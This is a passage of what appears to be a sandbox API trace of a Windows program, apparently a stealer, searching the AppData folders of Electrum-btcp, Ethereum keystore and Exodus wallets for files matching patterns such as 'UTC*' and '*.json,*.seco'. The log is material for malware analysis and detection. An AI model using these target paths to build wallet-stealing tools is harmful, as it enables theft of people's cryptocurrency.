HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0061.948] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0061.948] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0061.948] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0061.948] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.948] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.948] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Ethereum\\keystore\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 0x41 [0061.948] SysReAllocStringLen (in: pbstr=0x18e5d0*="%APPDATA%\\Ethereum\\keystore\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e5d0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0061.948] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="UTC*", cchWideChar=4, lpMultiByteStr=0x18d294, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UTC*\x09\x04", lpUsedDefaultChar=0x0) returned 4 [0061.948] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0061.949] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0061.949] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0061.949] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0061.949] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0061.949] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0061.949] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0061.949] SysReAllocStringLen (in: pbstr=0x5201d8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x5201d8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0061.949] SysReAllocStringLen (in: pbstr=0x18e5bc*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0061.949] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0061.949] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0061.949] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0061.949] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0061.949] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0061.949] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0061.949] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\*", len=0x42 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\*") returned 1 [0061.949] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\*", len=0x42 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\*") returned 1 [0061.949] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\*", len=0x42 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\*") returned 1 [0061.949] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\*", len=0x41 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\*") returned 1 [0061.949] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\*", len=0x41 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\*") returned 1 [0061.950] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\*", len=0x41 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\*") returned 1 [0061.950] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\*", len=0x41 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\*") returned 1 [0061.950] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\*", lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.950] SysReAllocStringLen (in: pbstr=0x18e5b8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\", len=0x41 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\") returned 1 [0061.950] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\", len=0x41 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\") returned 1 [0061.950] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\", len=0x41 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\") returned 1 [0061.950] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0061.950] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0061.950] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0061.950] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0061.950] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.950] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.950] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Exodus\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 0x36 [0061.950] SysReAllocStringLen (in: pbstr=0x18e5d0*="%APPDATA%\\Exodus\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e5d0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0061.950] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*.json,*.seco", cchWideChar=13, lpMultiByteStr=0x18d294, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*.json,*.secoÒ\x18", lpUsedDefaultChar=0x0) returned 13 [0061.950] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0061.950] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0061.950] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0061.950] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0061.951] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0061.951] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0061.951] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0061.951] SysReAllocStringLen (in: pbstr=0x3bcdcc4*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x3bcdcc4*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0061.951] SysReAllocStringLen (in: pbstr=0x18e5bc*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0061.951] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0061.951] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0061.951] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0061.951] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0061.951] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0061.951] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0061.951] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\*", len=0x37 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\*") returned 1 [0061.951] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\*", len=0x37 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\*") returned 1 [0061.951] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\*", len=0x37 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\*") returned 1 [0061.951] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\*", len=0x36 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\*") returned 1 [0061.951] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\*", len=0x36 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\*") returned 1 [0061.951] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\*", len=0x36 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\*") returned 1 [0061.951] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\*", len=0x36 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\*") returned 1 [0061.951] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\*", lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.952] SysReAllocStringLen (in: pbstr=0x18e5b8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\", len=0x36 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\") returned 1 [0061.952] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\", len=0x36 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\") returned 1 [0061.952] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\", len=0x36 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\") returned 1 [0061.952] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0061.952] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0061.952] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0061.952] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0061.952] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.952] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.952] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Exodus Eden\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 0x3b [0061.952] SysReAllocStringLen (in: pbstr=0x18e5d0*="%APPDATA%\\Exodus Eden\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e5d0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0061.952] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*.json,*.seco", cchWideChar=13, lpMultiByteStr=0x18d294, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*.json,*.secoÒ\x18", lpUsedDefaultChar=0x0) returned 13 [0061.952] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0061.952] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0061.952] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0061.952] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, 